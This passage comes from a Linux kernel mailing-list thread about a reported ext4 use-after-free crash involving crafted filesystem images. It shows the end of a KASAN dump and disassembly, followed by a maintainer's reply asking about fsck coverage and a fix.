ff1100010a11c500: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ff1100010a11c580: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
^
ff1100010a11c600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ff1100010a11c680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
0: 48 83 fa 20 cmp $0x20,%rdx
4: 0f 82 86 00 00 00 jb 0x90
a: 40 38 fe cmp %dil,%sil
d: 7c 35 jl 0x44
f: 48 83 ea 20 sub $0x20,%rdx
13: 48 83 ea 20 sub $0x20,%rdx
17: 4c 8b 06 mov (%rsi),%r8
1a: 4c 8b 4e 08 mov 0x8(%rsi),%r9
1e: 4c 8b 56 10 mov 0x10(%rsi),%r10
22: 4c 8b 5e 18 mov 0x18(%rsi),%r11
26: 48 8d 76 20 lea 0x20(%rsi),%rsi
* 2a: 4c 89 07 mov %r8,(%rdi) <-- trapping instruction
2d: 4c 89 4f 08 mov %r9,0x8(%rdi)
31: 4c 89 57 10 mov %r10,0x10(%rdi)
35: 4c 89 5f 18 mov %r11,0x18(%rdi)
39: 48 8d 7f 20 lea 0x20(%rdi),%rdi
3d: 73 d4 jae 0x13
3f: 83 .byte 0x83
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image
2025-11-05 14:39 [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image 章怿贺
@ 2025-11-06 7:00 ` Greg KH
[not found] ` <58255d5d.20a1f.19a585765c9.Coremail.12421252@zju.edu.cn>
0 siblings, 1 reply; 4+ messages in thread
From: Greg KH @ 2025-11-06 7:00 UTC (permalink / raw)
To: 章怿贺; +Cc: security, linux-ext4, linux-kernel
On Wed, Nov 05, 2025 at 10:39:26PM +0800, 章怿贺 wrote:
> A local unprivileged user who can mount a crafted ext4 filesystem image and call lsetxattr() on a file inside that filesystem can trigger:
Note, if you can do this, all bets are off as has been explained many
times on this list :)
The real question is, does fsck catch this issue before mounting the
filesystem? If not, can you send a patch to fix that?
Also, do you have a patch to fix this issue so that you get the credit
for fixing it? As you have a reproducer, you seem to have an easy way
to test this :)
thanks,
greg k-h
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2025-11-06 14:09 UTC | newest]
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2025-11-05 14:39 [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image 章怿贺
2025-11-06 7:00 ` Greg KH
[not found] ` <58255d5d.20a1f.19a585765c9.Coremail.12421252@zju.edu.cn>
2025-11-06 8:50 ` Greg KH
2025-11-06 14:09 ` Theodore Ts'o
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